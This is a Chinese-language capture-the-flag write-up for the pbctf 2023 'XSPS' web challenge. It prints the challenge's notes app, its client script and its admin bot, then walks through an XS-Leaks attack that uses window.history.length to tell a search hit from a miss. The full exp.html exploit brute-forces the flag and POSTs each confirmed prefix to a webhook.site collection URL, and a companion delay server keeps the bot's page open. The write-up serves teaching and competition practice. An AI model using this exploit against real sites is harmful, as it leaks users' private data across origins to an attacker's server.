pbctf 2023 XSPS Writeup

admin 2023年12月16日08:35:59评论14 views字数 11291阅读37分38秒阅读模式

人生第一道 xsleaks, 感觉挺有意思的

不太会写 js 所以痛失一血 ()

app.py

from flask import Flask, request, session, jsonify, Response, make_response, g
import json
import redis
import random
import os
import binascii
import time

app = Flask(__name__)
app.secret_key = os.environ.get("SECRET_KEY", "tops3cr3t")

app.config.update(
    SESSION_COOKIE_SECURE=False,
    SESSION_COOKIE_HTTPONLY=True,
    # SESSION_COOKIE_SAMESITE='Lax',
)

HOST = os.environ.get("CHALL_HOST", "localhost:5000")

r = redis.Redis(host='redis')

@app.route("/do_report", methods=['POST'])
def do_report():
    cur_time = time.time()
    ip = request.headers.get('X-Forwarded-For').split(",")[-2].strip() #amazing google load balancer

    last_time = r.get('time.'+ip) 
    last_time = float(last_time) if last_time is not None else 0
    
    time_diff = cur_time - last_time

    if time_diff > 6:
        r.rpush('submissions', request.form['url'])
        r.setex('time.'+ip, 60, cur_time)
        return "submitted"

    return "rate limited"

@app.route("/report", methods=['GET'])
def report():
    return """
<head>
    <title>Notes app</title>
</head>
<body>
    <h3><a href="/note">Get Note</a>&nbsp;&nbsp;&nbsp;<a href="/">Change Note</a>&nbsp;&nbsp;&nbsp;<a href="/report">Report Link</a></h3>
        <hr>
        <h3>Please report suspicious URLs to admin</h3>
        <form action="/do_report" id="reportform" method=POST>
        URL: <input type="text" name="url" placeholder="URL">
        <br>
        <input type="submit" value="submit">
        </form>
    <br>
</body>
    """

@app.before_request
def rand_nonce():
    g.nonce = binascii.b2a_hex(os.urandom(15)).decode()

@app.after_request
def add_CSP(response):
    response.headers['Content-Security-Policy'] = f"default-src 'self'; script-src 'nonce-{g.nonce}'"
    return response


@app.route('/add_note', methods=['POST'])
def add():
    if 'notes' not in session:
        session['notes'] = {}
    session['notes'][request.form['name']] = request.form['data']
    if 'highlight_note' in request.form and request.form['highlight_note'] == "YES":
        session['highlighted_note'] = request.form['name']

    session.modified = True
    return "Changed succesfully"


@app.route('/notes')
def notes():
    if 'notes' not in session:
        return []
    return [X for X in session['notes']] 

@app.route("/highlighted_note")
def highlighted_note():
    if 'highlighted_note' not in session:
        return {'name':False}
    return session['highlighted_note']

@app.route('/note/<path:name>')
def get_note(name):
    if 'notes' not in session:
        return ""
    if name not in session['notes']:
        return ""
    return session['notes'][name]

@app.route('/static/<path:filename>')
def static_file(filename):
    return send_from_directory('static', filename)

@app.route('/')
def index():
    return f"""
<head>
    <title>Notes app</title>
</head>
<body>
    <script nonce='{g.nonce}' src="/static/js/main.js"></script>

    <h3><a href="/report">Report Link</a></h3>
        <hr>
        <h3> Highlighted Note </h3>
        <div id="highlighted"></div>
        <hr>
        <h3> Add a note </h3>
        <form action="/add_note" id="noteform" method=POST>
        <input type=text name="name" placeholder="Note's name">
        <br>
        <br>
        <textarea rows="10" cols="100" name="data" form="noteform" placeholder="Note's content"></textarea>
        <br>
        <br>
        <input type="checkbox" name="highlight_note" value="YES">
        <label for="vehicle1">Highlight Note</label><br>
        <br>
        <input type="submit" value="submit">
        </form>
    <hr>
    <h3>Search Note</h3>
    <a id=search_result></a>
    <input id='search_content' type=text name="name" placeholder="Content to search">
        <input id='search_open' type="checkbox" name="open_after" value="YES">
        <label for="open">Open</label><br>
    <br>
    <input id='search_button' type="submit" value="submit">

</body>
    """

/static/main.js

window.onload = async function(){
    //init
    document.body.highlighted_note = await get_higlighted_note();
    document.body.search_result = document.getElementById('search_result');
    document.body.search_content = document.getElementById('search_content')
    document.body.search_open = document.getElementById('search_open')

    //highlight note
    document.getElementById('highlighted').innerHTML = document.body.highlighted_note;

    //search handler
    document.getElementById('search_button').onclick = search_click;
}

async function search_click(){
    search_name({'query':document.body.search_content.value, 'open' : document.body.search_open.checked})
}

window.addEventListener('hashchange', async function(){
    let search_query = JSON.parse(atob(location.hash.substring(1)));
    search_name(search_query);
});

async function search_name(search_data){
    let should_open = search_data['open']
    let query = search_data['query']

    let notes = await get_all_notes();

    let found_note = notes.find((val) => val.note.toString().startsWith(query));
    if(found_note == undefined){
        document.body.search_result.href = '';
        document.body.search_result.text = 'NOT FOUND'
        document.body.search_result.innerHTML += '<br>'
    }

    document.body.search_result.href = `note/${found_note.name}`;
    document.body.search_result.text = 'FOUND'
    document.body.search_result.innerHTML += '<br>'
    if(should_open)document.body.search_result.click();
}

async function get_all_notes(){
    return await Promise.all((await (await fetch('/notes')).json()).map(async (name) => ({'name':name, 'note': (await get_note(name))})))
}

async function get_higlighted_note(){
    return get_note((await (await fetch('/highlighted_note')).text()));
}

async function get_note(name){
    return (await (await fetch(`/note/${name}`)).text());
}

admin bot.js

const redis = require('redis');
const r = redis.createClient({
    socket: {
        port      : 6379,               // replace with your port
        host      : 'redis',        // replace with your hostanme or IP address
    }})

const puppeteer = require('puppeteer');

async function browse(url){

    console.log(`Browsing -> ${url}`);
    const browser = await (await puppeteer.launch({
        headless: true,
        args: ['--no-sandbox', '--disable-gpu'],
        executablePath: "/usr/bin/google-chrome"
    })).createIncognitoBrowserContext();

    const page = await browser.newPage();
    await page.setCookie({
        name: 'session',
        value: process.env.CHALL_COOKIE,
        domain: process.env.CHALL_HOST
    });

    try {
        const resp = await page.goto(url, {
            waitUntil: 'load',
            timeout: 20 * 1000,
        });
    } catch (err){
        console.log(err);
    }

    await page.close();
    await browser.close();

    console.log(`Done visiting -> ${url}`)

}

function sleep(ms) {
    return new Promise((resolve) => {
        setTimeout(resolve, ms);
    });
}

async function main() {
  try {
    const submit_url = await r.blPop(
      redis.commandOptions({ isolated: true }),
      "submissions",
      0
    );
    let url = submit_url.element;
    await browse(url);
  } catch (e) {
    console.log("error");
    console.log(e);
  }
  main();
}

async function conn(){
    await r.connect();
}

console.log("XSS Bot ready");
conn();
main()

/static/main.js 中有这么一段

window.addEventListener('hashchange', async function(){
    let search_query = JSON.parse(atob(location.hash.substring(1)));
    search_name(search_query);
});

async function search_name(search_data){
    let should_open = search_data['open']
    let query = search_data['query']

    let notes = await get_all_notes();

    let found_note = notes.find((val) => val.note.toString().startsWith(query));
    if(found_note == undefined){
        document.body.search_result.href = '';
        document.body.search_result.text = 'NOT FOUND'
        document.body.search_result.innerHTML += '<br>'
    }

    document.body.search_result.href = `note/${found_note.name}`;
    document.body.search_result.text = 'FOUND'
    document.body.search_result.innerHTML += '<br>'
    if(should_open)document.body.search_result.click();
}

然后题目给的 docker-compose.yml 里面有一段测试用的 cookie, decode 之后就是一条名字为 flag 的 note

而且前端界面很明显存在一个模糊查找 note 的功能, 查找的结果根据当前用户的 note 列表会有所差别, 基本上满足了 xsleaks 的条件

首先 search 之后根据 should_open 的值来决定在查到 note 之后是否进行自动跳转, 这个操作本身就很可疑

众所周知在 JavaScript 中存在一个 window.history 对象, 它的 length 属性表明当前窗口访问页面的历史记录的数量

举个例子

<script>
    let param = new URLSearchParams(location.search); // ?leak=pbctf
    let data = {'query': param.get('leak'), 'open': true};
    let text = btoa(JSON.stringify(data)).replaceAll('=', '');
    let w = window.open('http://xsps.chal.perfect.blue/'); // 先跳转到根页面再去改变 hash, 直接改的话 js 那边无法接收
    setTimeout(() => {
        w.location = 'http://xsps.chal.perfect.blue/#' + text;
    }, 1000);
    setTimeout(() => {
        w.location = 'about:blank';
    }, 2000);
    setTimeout(() => {
        console.log(w.history.length);
    }, 3000)
</script>

当我们查到 flag 时, w.history.length 的值就会变成 4, 跳转流程如下

1. http://xsps.chal.perfect.blue/
2. http://xsps.chal.perfect.blue/#<base64-content> (found)
3. http://xsps.chal.perfect.blue/note/flag
4. about:blank

查不到的情况下值就会变成 3

1. http://xsps.chal.perfect.blue/
2. http://xsps.chal.perfect.blue/#<base64-content> (not found)
3. about:blank

所以我们可以利用 w.history.length 的结果差异去 leak flag

然后这里用 about:blank 页面是为了绕过同源策略的限制, 不然的话无法得到 w.history.length 的值

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

因为用 window.open() 打开的 about:blank 页面会继承父窗口的源, 所以这样才能保证四次跳转之后 exp server 和子窗口是同源的

然后 bot 那边有 20s 的时间限制

try {
    const resp = await page.goto(url, {
        waitUntil: 'load',
        timeout: 20 * 1000,
    });
} catch (err){
    console.log(err);
}

await page.close();
await browser.close();

但测试后发现实际上 puppeteer 在加载完 dom 之后就会立刻 close, 远远没有达到 20s, 所以需要一个 delay server

from flask import Flask
import time

app = Flask(__name__)

@app.route('/delay')
def delay():
	time.sleep(20)
	return "ok"

if __name__ == '__main__':
	app.run('0.0.0.0', '65333', debug=False, ssl_context=('/home/ubuntu/web/ssl/exp10it.cn/exp10it.cn_bundle.crt', '/home/ubuntu/web/ssl/exp10it.cn/exp10it.cn.key'))

当时比赛的时候 exp server, delay server 和 webhook server 都弄了 https 协议, 因为题目附件给的 bot 里面的 cookie 加上了 Secure 属性

后来才发现附件改了一次…. Secure 属性被删掉了, 不然不能够向外发送请求

最终 exp.html 如下

<script>
    function xsleaks(leak) {
        let data = {'query': leak, 'open': true};
        let text = btoa(JSON.stringify(data)).replaceAll('=', '');
        let w = window.open('http://xsps.chal.perfect.blue/');
        fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?process=' + leak.slice(-1).charCodeAt());
        // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?openwindow');
        setTimeout(() => {
            w.location = 'http://xsps.chal.perfect.blue/#' + text;
            // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?requesthash');
            setTimeout(() => {
                w.location = 'about:blank';
                // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?aboutblank');
                setTimeout(() => {
                    // fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?historylength=' + w.history.length);
                    console.log(w.history.length);
                    if (w.history.length == 4) {
                        fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?leak=', {
                            method: 'POST',
                            body: leak
                        }).catch((msg) => {});
                    }
                    w.close();
                }, 500)
            }, 500);
        }, 500);
    }

    let param = new URLSearchParams(location.search);
    let start = param.get('start');

    // xsleaks('pbctf');

    let sleepTime = 0;
    for (let i = start; i <= 127; i ++) {
        let c = String.fromCharCode(i);
        setTimeout(xsleaks, sleepTime, 'pbctf{' + c);
        sleepTime += 1500;
    }

</script>

<img src="https://exp10it.cn:65333/delay" />

平均每次 report url 能爆破 12 个字符, 当 webhook server 那边接收到 post 请求的时候就说明已经 leak 出来了部分 flag, 然后修改源码继续 leak 下一位

不太会写 js 所以完全就是半手动 leak 的 (躺), 大约两个小时出结果

flag: pbctf{V_5w33p1ng_n0t3s_und3r_4_r4d10_s1l3nT_RuG}

后来在 discord 看到 huli 师傅的 exp 才发现可以用 await 实现 sleep (XD)

https://discord.com/channels/748672086838607943/1075589736674119692/1077047667206668309

async function sleep(ms) {
    return new Promise((r) => setTimeout(r, ms));
}

async function main() {
    console.log('aaa');
    await sleep(1000);
    console.log('bbb');
}

main();

最后无论那种 exp 都会存在 20s 限制的问题, 所以都要不可避免地去多次 report url

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月16日08:35:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pbctf 2023 XSPS Writeuphttps://cn-sec.com/archives/2305096.html

发表评论

匿名网友 填写信息